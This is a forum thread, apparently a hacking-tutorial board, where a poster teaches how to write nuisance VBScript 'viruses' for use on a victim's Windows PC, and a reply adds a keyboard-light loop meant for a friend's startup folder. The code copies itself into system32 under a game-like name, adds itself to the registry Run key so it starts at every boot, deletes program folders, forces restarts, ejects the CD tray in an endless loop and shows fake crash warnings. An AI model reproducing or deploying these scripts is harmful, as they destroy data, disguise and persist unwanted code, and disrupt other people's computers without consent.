Jump to content

Recommended Posts

Items you need

-> Notepad

-> You and your victim is running Windows

1. Open notepad

2. On the first line add

wshshell.run "calc" 
wscript.sleep 100
wshshell.sendkeys "5"
wscript.sleep 1000
wshshell.run "calc"
wscript.sleep 100
wshshell.sendkeys "4"
wscript.sleep 1000
wshshell.run "calc"
wscript.sleep 100
wshshell.sendkeys "3"
wscript.sleep 1000
wshshell.run "calc"
wscript.sleep 100
wshshell.sendkeys "2"
wscript.sleep 1000
wshshell.run "calc"
wscript.sleep 100
wshshell.sendkeys "1"
wscript.sleep 1000
wshshell.run "calc"
wscript.sleep 100
wshshell.sendkeys "0"

- This would make the calculater pop up, counting down from 5 to 0 with 1 second of space between each calculater pops up.

Set wshshell = WScript.CreateObject("Scripting.FileSystemObject")
Wshshell.CopyFile WScript.ScriptFullName, "C:\PATH OF YOUR CHOICE\FILENAME.vbs"

PATH OF YOUR CHOICE indicates where you want to copy your script to.

FILENAME indicates the name of your VBS script.

Example:

C:\WINDOWS\system32\SuperNewTankGame.vbs

This command will copy your script to C/Windows/System32

Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\filename","C:\PATH OF YOUR CHOICE\FILENAME.vbs"

You need you use this command with the copy command in order to work...

NOW, THIS IS EVIL !

This command will add your script to the startup program list, so every time your victim starts his computer, the script will run itself.

Please, remember to add

Set wshShell = wscript.CreateObject("WScript.Shell")

after using COPY or REGWRITE command

Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\shutup.exe","C:\Virus.vbs"
Set wshshell = WScript.CreateObject("Scripting.FileSystemObject")
Wshshell.CopyFile WScript.ScriptFullName, "C:\Virus.vbs"
Set wshshell = wscript.CreateObject("WScript.Shell")

Delete Folder Code

Dim FSO, Folder
set FSO=CreateObject("Scripting.FileSystemObject")
Folder="C:\PATCH OF FOLDER OR/ AND FOLDERNAME"
FSO.DeleteFolder(Folder)

Example

Dim FSO, Folder
set FSO=CreateObject("Scripting.FileSystemObject")
Folder="C:\Program Files\MSN Messenger"
FSO.DeleteFolder(Folder)

This will restart your victims PC :lol:

do
WshShell.SendKeys "%{F4}"
Wscript.sleep 100
wshshell.sendkeys "r"
loop

CD EJECT [should be done without a cd/dvd in the drive, for faster ejecting]

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
loop

wshshell.AppActivate "cmd"

'AppActivate activates the window which has a title equal to, or closest to what you type in the quotes

'You need the sleep to make sure that it activates it after cmd has started

 wshshell.run "cmd",2

,2 means that the program will start minimized !

Another code:

MsgBox"TEXT YOU WANT TO DISPLAY",EXTRA CODES, "TITLE"

This will launch a pop up where the title will be "TITLE", and the message will be "TEXT YOU WANT TO DISPLAY"

For an example:

MsgBox"Hello, this is not a JOKE, your pc will CRASH!", 0 + 16 + 4096, "Critical"

unavngivetyz8.png

Extra stuff that you can add in the ,EXTRA CODES, area:

Buttons :
0 - OK
1 - OK, CANCEL
2 - ABORT, RETRY, IGNORE
3 - YES, NO, CANCEL
4 - YES, NO
5 - RETRY, CANCEL
ICONS :
16 - CRITICAL ICON
32 - WARNING QUERY ICON
48 - WARNING MESSAGE ICON
64 - INFO ICON
Extra Stuff:
0 - NORMAL
4096 - ALWAYS ON TOP

,1+16+4096, Will make a window with OK and CANCEL buttons, CRITICAL ICON, and the window will be on top of other windows

If you want to make a command that repeats itself:

do 
COMMAND(S)
loop

Where COMMAND is one of the command i listed above

Eeeenjoy !

And please, if somebody can make some kind of "program" to convert .vbs to .exe, ot just an exe that runs the vbs, WOULD BE AWESOME!

Edited by Mr.Thunderbird

Share this post


Link to post
Share on other sites

Thanks all :D

Glad you could use it ;)

Oh, and be free to use post this tut on other forums, but it would be better if you linked to this page, because there might come some updates :)

Edited by Mr.Thunderbird

Share this post


Link to post
Share on other sites

try this script

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

run this and look on lights on your keyboard

put this on ur fren'z start up folder for more fun

Edited by pri2sh

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...